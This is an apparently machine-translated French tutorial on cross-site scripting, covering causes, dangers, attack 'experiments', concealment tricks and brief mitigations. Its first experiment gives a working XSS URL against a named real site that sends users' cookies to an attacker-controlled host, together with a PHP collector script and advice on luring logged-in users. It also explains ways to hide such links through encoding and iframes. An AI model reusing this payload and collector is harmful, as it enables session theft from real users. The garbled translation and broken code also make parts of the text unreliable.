Cet article présente principalement les causes des vulnérabilités d'exécution de scripts inter-sites. Puisqu'il n'y a pas beaucoup d'informations sur les vulnérabilités d'exécution de scripts inter-sites, il n'y a généralement pas d'introduction détaillée sur Internet. J'espère que cet article pourra présenter ces connaissances plus en détail. Ce qui suit est les causes des vulnérabilités d'exécution de scripts inter-sites compilées par l'éditeur de la mauvaise chaîne de nouvelles technologies. Allons à ce qui suit pour en savoir plus!
Causes des vulnérabilités d'exécution de scripts croisés [causes des vulnérabilités]
La raison est très simple, car le programme CGI ne filtre pas ou ne convertit pas le code HTML dans les variables soumises par l'utilisateur.
【Forme de vulnérabilité】
Le formulaire mentionné ici fait réellement référence à la forme de l'entrée CGI, qui est principalement divisée en deux types:
1. Afficher l'entrée
2. Entrée implicite
L'entrée d'affichage nécessite clairement que l'utilisateur entre dans les données, tandis que l'entrée implicite ne nécessite pas que l'utilisateur entre les données, mais l'utilisateur peut interférer en entrant des données.
L'entrée d'affichage peut être divisée en deux types:
1. L'entrée est terminée et le résultat est sorti immédiatement
2. L'entrée est terminée et stockée dans un fichier texte ou une base de données, puis le résultat est sorti.
Remarque: Ce dernier peut rendre votre site Web méconnaissable! :(
En plus de certaines situations normales, les entrées implicites peuvent également être implémentées en utilisant le programme Server ou CGI pour gérer les informations d'erreur.
【Dangers des lacunes】
Ce qui concerne le plus, c'est probablement ce problème. La liste suivante peut ne pas être complète ou systématique, mais je pense qu'elle devrait être plus typique.
1. Obtenez des données sensibles dans d'autres cookies utilisateur
2. Bloquer la page Informations spécifiques
3. Informations sur la page forgée
4. Attaque de déni de service
5. Break à travers différents paramètres de sécurité des réseaux externes et internes
6. Combiné avec d'autres vulnérabilités, modifier les paramètres du système, afficher les fichiers système, exécuter les commandes système, etc.
7. Autre
D'une manière générale, les dangers ci-dessus s'accompagnent souvent de la déformation de la page. La vulnérabilité dite de l'exécution du script inter-sites signifie que l'effet d'attaque est réalisé via les sites Web d'autres personnes, ce qui signifie que ce type d'attaque peut cacher l'identité dans une certaine mesure.
【Méthode d'utilisation】
Ci-dessous, nous démontrerons les différents dangers ci-dessus à travers des exemples spécifiques, qui devraient être plus explicatifs et plus faciles à comprendre. Pour une structure plus claire, nous ferons une expérience pour chaque danger.
Afin de bien faire ces expériences, nous avons besoin d'un logiciel de capture de package. J'utilise Iris. Bien sûr, vous pouvez choisir d'autres logiciels, tels que Netxray ou quelque chose. Pour des méthodes d'utilisation spécifiques, veuillez vous référer à l'aide ou au manuel pertinent.
De plus, une chose à comprendre est que tant que le serveur renvoie les informations soumises par l'utilisateur, il peut y avoir une vulnérabilité d'exécution de script inter-site.
Ok, tout est prêt, commençons à expérimenter! :)
Expérience 1: Obtenez des informations sensibles dans les cookies d'autres utilisateurs
Prenons le célèbre site d'enregistrement des étudiants domestiques 5460.net comme exemple pour illustrer. Veuillez suivre les étapes ci-dessous:
1. Entrez la page d'accueil http://www.5460.net/
2. Entrez le nom d'utilisateur "<h1>" et soumettez-le. Le serveur renvoie les informations qui contient la soumission de l'utilisateur "<h1>".
3. Analyser les données de capture des paquets et obtenir la demande réelle:
http://www.5460.net/txl/login/login.pl?Username=<H1>&passwd=&ok.x=28&ok.y=6
4. Construisez une soumission dans le but de pouvoir afficher les informations sur les cookies des utilisateurs:
http://www.5460.net/txl/login/login.pl?Username=<Script>Alert(Document.cookie)</ Script> & passwd = & ok.x = 28 & ok.y = 6
5. Si la demande ci-dessus obtient l'effet attendu, nous pouvons essayer la demande suivante:
http://www.5460.net/txl/login/login.pl?Username=<Script>window.open("http://www.notfound.org/ info.php? "% 2bDocument.COOKIE) </ Script> & passwd = & ok.x = 28 & ok.y = 6
Parmi eux, http://www.notfound.org/info.php est un script sur un hôte que vous pouvez contrôler. Sa fonction est d'obtenir les informations de la chaîne de requête, et le contenu est le suivant:
<? Php
$ info = getenv ("query_string");
if ($ info) {
$ fp = fopen ("info.txt", "a");
fwrite ($ fp, $ info. "/ n");
fclose ($ fp);
}
En-tête ("Emplacement: http://www.5460.net");
Remarque: "% 2b" est le codage d'URL de "+", et seul "% 2b" peut être utilisé ici, car "+" sera traité comme un espace. Les phrases d'en-tête suivantes sont purement pour augmenter la dissimulation.
6. Si l'URL ci-dessus peut s'exécuter correctement, l'étape suivante consiste à induire les utilisateurs connectés à 5460.net pour accéder à l'URL, et nous pouvons obtenir des informations sensibles dans le cookie de l'utilisateur.
7. Ce que vous voulez faire plus tard dépend de vous!
Expérience 2: Block Page Informations spécifiques
Nous prenons toujours 5460.net à titre d'exemple, voici un programme CGI problématique:
http://www.5460.net/txl/liuyan/liuyansql.pl
Le programme CGI accepte trois variables fournies par l'utilisateur, à savoir NID, CSID et CNAME, mais ne vérifie aucune variable CNAME soumise par l'utilisateur. De plus, le programme CGI prend la valeur de CNAME dans le cadre de la page de sortie. Les utilisateurs de 5460.net doivent être plus clairs que votre nom est dans le coin inférieur droit du message, non?
Puisque nous avons les conditions ci-dessus, nous voulons peut-être tirer les conclusions suivantes:
Un utilisateur peut "bloquer" tous les messages entre ses deux messages!
Bien sûr, le "blocage" dont nous parlons n'est pas "la suppression", et les messages de l'utilisateur existent toujours, mais en raison des caractéristiques de HTML, nous ne pouvons pas le voir à partir de la page. Bien sûr, si vous aimez voir le code source, il est inutile, mais ceux d'entre nous qui étudient la sécurité CGI disent, combien de personnes regardent le code source HTML si vous avez quelque chose à faire ou non?
Pour diverses raisons, je n'annoncerai pas les détails spécifiques ici, connaissez simplement les principes.
Remarque: Si vous y pensez attentivement, nous pouvons non seulement bloquer les messages, mais aussi laisser des messages de manière anonyme, non?
Expérience 3: Informations sur l'oubli de la page
Si vous comprenez l'expérience ci-dessus, il n'est pas nécessaire de faire cette expérience. Les principes de base sont les mêmes, mais il est juste un peu gênant à mettre en œuvre.
Expérience 4: attaque de déni de service
Il devrait être connu maintenant que nous pouvons contrôler le comportement des serveurs avec des vulnérabilités d'exécution de script inter-sites dans une certaine mesure. Dans ce cas, nous pouvons contrôler le serveur pour effectuer des actions consommatrices de ressources. Par exemple, l'exécution de scripts JavaScript qui contiennent des boucles mortes ou ouvrent des fenêtres infinies, etc. De cette façon, le système utilisateur qui accède à l'URL peut ralentir ou même s'écraser. De même, nous pouvons également intégrer certains scripts pour demander au serveur de demander des ressources sur d'autres serveurs. Si les ressources accessibles consomment plus de ressources et qu'il y a plus de visiteurs, le serveur accessible peut également se voir refuser le service, et il estime que l'attaque de déni de service est lancée par le serveur qui y accéde, afin que l'identité puisse être cachée.
Expérience 5: briser différents paramètres de sécurité des réseaux externes et internes
Cela devrait être facile à comprendre. D'une manière générale, nos navigateurs fixent différents niveaux de sécurité pour différentes régions. Par exemple, pour la zone Internet, vous ne pouvez pas autoriser l'exécution de JavaScript, mais dans la zone Intranet, vous pouvez autoriser l'exécution de JavaScript. D'une manière générale, le niveau de sécurité de la première est supérieur à celui des derniers. De cette façon, en général, d'autres ne peuvent pas vous attaquer en exécutant des scripts JavaScript malveillants, mais s'il y a une vulnérabilité d'exécution de script inter-site sur le serveur sur le même intranet que vous, l'attaquant a la possibilité d'en profiter car le serveur est situé dans la zone intranet.
Expérience 6: combinée avec d'autres vulnérabilités, modifier les paramètres du système, afficher les fichiers système, exécuter les commandes système, etc.
Parce qu'il y a trop de vulnérabilités liées au navigateur, il existe de nombreuses vulnérabilités qui peuvent être combinées avec des vulnérabilités d'exécution de scripts inter-sites. Je pense que tout le monde devrait être très clair sur ces problèmes. La vulnérabilité de la modification des titres IE à plusieurs reprises, la vulnérabilité des mauvaises commandes d'exécution de type MIME et une variété de vers sont tous de bons exemples.
Pour plus d'exemples, veuillez vous référer au lien suivant:
Bogue d'objet pop-up d'Internet Explorer Bug
http://archives.neo-imsis.com/archives/bugtraq/2002-01/0167.html
Internet Explorer JavaScript Popup sans modable Denial of Service Vulnérabilité
http://archives.neo-imsis.com/archives/bugtraq/2002-01/0058.html
MSIE6 peut lire les fichiers locaux
http://www.xs4all.nl/~jkuperus/bug.htm
MSIE peut télécharger et exécuter automatiquement des progams
http://archives.neo-imsis.com/archives/bugtraq/2001-12/0143.html
Extensions de fichiers spoofables dans la boîte de dialogue de téléchargement MSIE
http://archives.neo-imsis.com/archives/bugtraq/2001-11/0203.html
L'autre bug de vol de cookie IE (MS01-055)
http://archives.neo-imsis.com/archives/bugtraq/2001-11/0106.html
Microsoft Security Bulletin MS01-055
http://archives.neo-imsis.com/archives/bugtraq/2001-11/0048.html
Fauteur de sécurité sérieux dans Microsoft Internet Explorer - Espolence de zone
http://archives.neo-imsis.com/archives/bugtraq/2001-10/0075.html
L'en-tête MIME incorrect peut entraîner l'exécution de la fixation des e-mails
http://www.kriptopolis.com/cua/eml.html
Le rôle de la vulnérabilité de l'exécution de scripts croisés ici est de cacher l'identité de l'attaquant réel.
Expérience 7: autres
En fait, ce type de problème n'a pas grand-chose à voir avec les vulnérabilités d'exécution de scripts inter-sites, mais il est toujours nécessaire de le mentionner ici. L'essence du problème est que le programme CGI ne filtre pas les données soumises par l'utilisateur, puis effectue le traitement de sortie. Par exemple, un programme CGI sur un serveur qui prend en charge SSI produit des données soumises par l'utilisateur, ce qui peut conduire à l'exécution des instructions SSI, quelle que soit la méthode de saisie des données. Bien sûr, cela est exécuté du côté du serveur, pas du côté client. En fait, les langages CGI tels que ASP, PHP et Perl peuvent causer ce problème.
【Techniques cachées】
Pour le temps, je parlerai principalement de la théorie ici. Je crois que ce n'est pas difficile à comprendre. S'il y a vraiment un problème, allez dans ce livre pour le lire.
1. Encodage d'URL
Comparer:
http://www.5460.net/txl/login/login.pl?Username=<H1>&passwd=&ok.x=28&ok.y=6
http://www.5460.net/txl/login/login.pl?Username=%3C%68%31%3E&passwd=&ok.x=28&ok.y=6
Lequel pensez-vous être le plus caché? !
2. Cacher sous d'autres objets
Est-il préférable de décider de masquer le lien sous le bouton que de donner directement à quelqu'un un lien?
3. Intégrer dans la page
Est-il beaucoup plus facile de laisser les autres accéder à une adresse (notez que l'adresse ici est différente de l'URL mentionnée ci-dessus) que de laisser les autres appuyer sur un bouton? Avec l'aide d'Iframe, vous pouvez rendre cette attaque plus cachée.
4. Utilisation rationnelle des événements
L'utilisation rationnelle des événements peut être contournée dans certains cas les restrictions d'entrée des programmes CGI, telles que la vulnérabilité d'exécution du script inter-site de SecurityFocus il y a quelques jours.
【Précautions】
De manière générale, il n'y a aucun problème à effectuer directement des attaques comme <Script> alert (document.cookie) </cript>, mais parfois les programmes CGI traitent l'entrée des utilisateurs, comme l'inclusion '' ou ''. Pour le moment, nous devons utiliser quelques astuces pour contourner ces restrictions.
Si vous connaissez le langage HTML, le contournement de ces restrictions ne devrait pas être un problème.
【Solution】
Pour éviter d'être attaqué par des vulnérabilités d'exécution de scripts inter-sites, les programmeurs et les utilisateurs doivent travailler ensemble:
programmeur:
1. Filtrez ou convertir le code HTML dans les données soumises par l'utilisateur
2. Limiter la durée des données soumises par les utilisateurs
utilisateur:
1. N'accédez pas facilement aux liens que les autres vous donnent
2. Désactiver les navigateurs de l'exécution du code JavaScript et ActiveX
Attachement: l'emplacement des paramètres de modification du navigateur commun est:
Internet Explorer:
Outils -> Options Internet -> Sécurité -> Internet -> niveaux personnalisés
Outils -> Options Internet -> Sécurité -> Intranet -> Niveaux personnalisés
Opéra:
Fichier -> Paramètres rapides -> Autoriser Java
Fichier -> Paramètres rapides -> Autoriser les plugins à utiliser
Fichier -> Paramètres rapides -> Autoriser JavaScript
【FAQ】
Q: Où existe-t-il la vulnérabilité de l'exécution du script croisé?
R: Tant qu'il s'agit d'un programme CGI et tant que l'utilisateur est autorisé à saisir, il peut y avoir une vulnérabilité d'exécution de script inter-site.
Q: Les vulnérabilités de l'exécution des scripts inter-sites peuvent-elles ne voler que les cookies des autres?
R: Bien sûr que non! Tous les code HTML peuvent être effectués, des vulnérabilités d'exécution de script inter-sites peuvent être effectuées.
L'article ci-dessus est la cause des vulnérabilités d'exécution de script inter-sites. Je crois que tout le monde a une certaine compréhension. Si vous souhaitez connaître plus d'informations techniques, veuillez continuer à faire attention à la mauvaise chaîne de nouvelles technologies!